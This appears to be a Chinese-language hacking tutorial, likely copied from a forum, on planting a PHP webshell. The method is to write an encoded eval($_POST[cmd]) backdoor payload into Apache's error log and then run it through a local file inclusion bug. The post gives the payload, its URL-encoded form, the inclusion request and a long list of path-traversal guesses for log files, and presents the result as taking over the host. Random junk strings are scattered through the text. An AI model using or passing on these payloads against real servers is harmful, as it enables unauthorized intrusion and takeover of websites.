php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

" f9 j$ Q. z9 R, c# g比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

  G2 t/ H) y* o到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
0 y- n& t8 P" q* ~; Kfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
( G7 z6 `1 b4 r4 L! o) W% _5 V+ O转换为
3 q7 o& d* @$ u4 r- i. f%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) i9 w+ y& S4 a8 R+ A%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
# V( X/ I, ^& {7 g% Whttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
) g4 x0 m6 }3 D( o& V5 a%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
! o3 |1 B3 f- b" ^cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

8 v' r- K) m6 y' S2 b9 c3 E5 |/ N1 v这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
) p# @. g7 o! B3 D' A
这样webshell就写入成功了，config.php里就写入一句木马语句
# |! s/ u5 p( C9 T# POK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

8 D+ t2 b# w% U5 `% Y* a' W2 K7 oPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

' X2 E" Y* J6 a4 [其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
/ X+ J; C8 M2 W; k5 a+ c../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
$ r* O) w- S% ?" e$ T../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
2 E4 h- j+ @( i9 O, E6 ?4 J% v: h../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
% j& M  m# o# S$ t: N* Z../../../../../../../../../../etc/httpd/logs/acces.log
! N; @+ v- A' h* e/ p../../../../../../../../../../etc/httpd/logs/error_log
8 V2 S  u( m( Z2 z. v  V../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
, v+ Z# n. f; i2 w1 x4 q../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
# ~4 S) b7 W7 |1 s8 y1 y7 g2 {0 O1 B../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
* D" M" w" d. C/ {' t  v* v../../../../../../../../../../var/www/logs/error_log
' t) g) l% e) d0 ~6 D! h* `../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
1 e$ S; t3 }$ S3 M  L../../../../../../../../../../usr/local/apache/logs/error.log
4 m6 }: Q- U: Q" M2 B../../../../../../../../../../var/log/apache/error_log
" W, g) J% |3 c* K' s# w6 c../../../../../../../../../../var/log/apache/error.log
# |6 Z, `$ k, b9 Y../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
# L! f4 q9 A4 K  u/ Q../apache/logs/access.log
2 z0 b  g9 [( ~3 b& w../../apache/logs/error.log
../../apache/logs/access.log
! X: r9 @/ Q0 Z../../../apache/logs/error.log
, G8 Q# R% \% j7 `) m( |../../../apache/logs/access.log
2 X5 y4 G+ x3 W( u, m/etc/httpd/logs/acces_log
' k/ \& b, W1 [& S/etc/httpd/logs/acces.log
- ]) F& m0 J2 @9 p" x/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
% ?  F6 g7 p, \2 V/var/www/logs/access.log
; @) [. o7 g) T0 `+ k8 m& @/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
3 `. F4 C0 N, @! k: J" Y/ W: `% H/var/log/apache/access_log
+ F& g7 q; |' P0 w/var/log/apache/access.log
- P9 [0 X; G. e& o1 j7 ?/var/log/access_log
% N( m7 b# c( [2 U& T. f6 q/var/www/logs/error_log
1 E. `7 e+ h4 d/var/www/logs/error.log
+ B4 x, i3 B- T6 g* Z, A1 S. X/usr/local/apache/logs/error_log
+ a# S' d7 r1 P9 A; {) c  X/usr/local/apache/logs/error.log
/var/log/apache/error_log
+ z' i+ b% d6 Q5 E/var/log/apache/error.log
! g0 E' F8 @, Q' _4 [* w0 Y/var/log/access_log
0 P) q# S( U$ m/var/log/error_log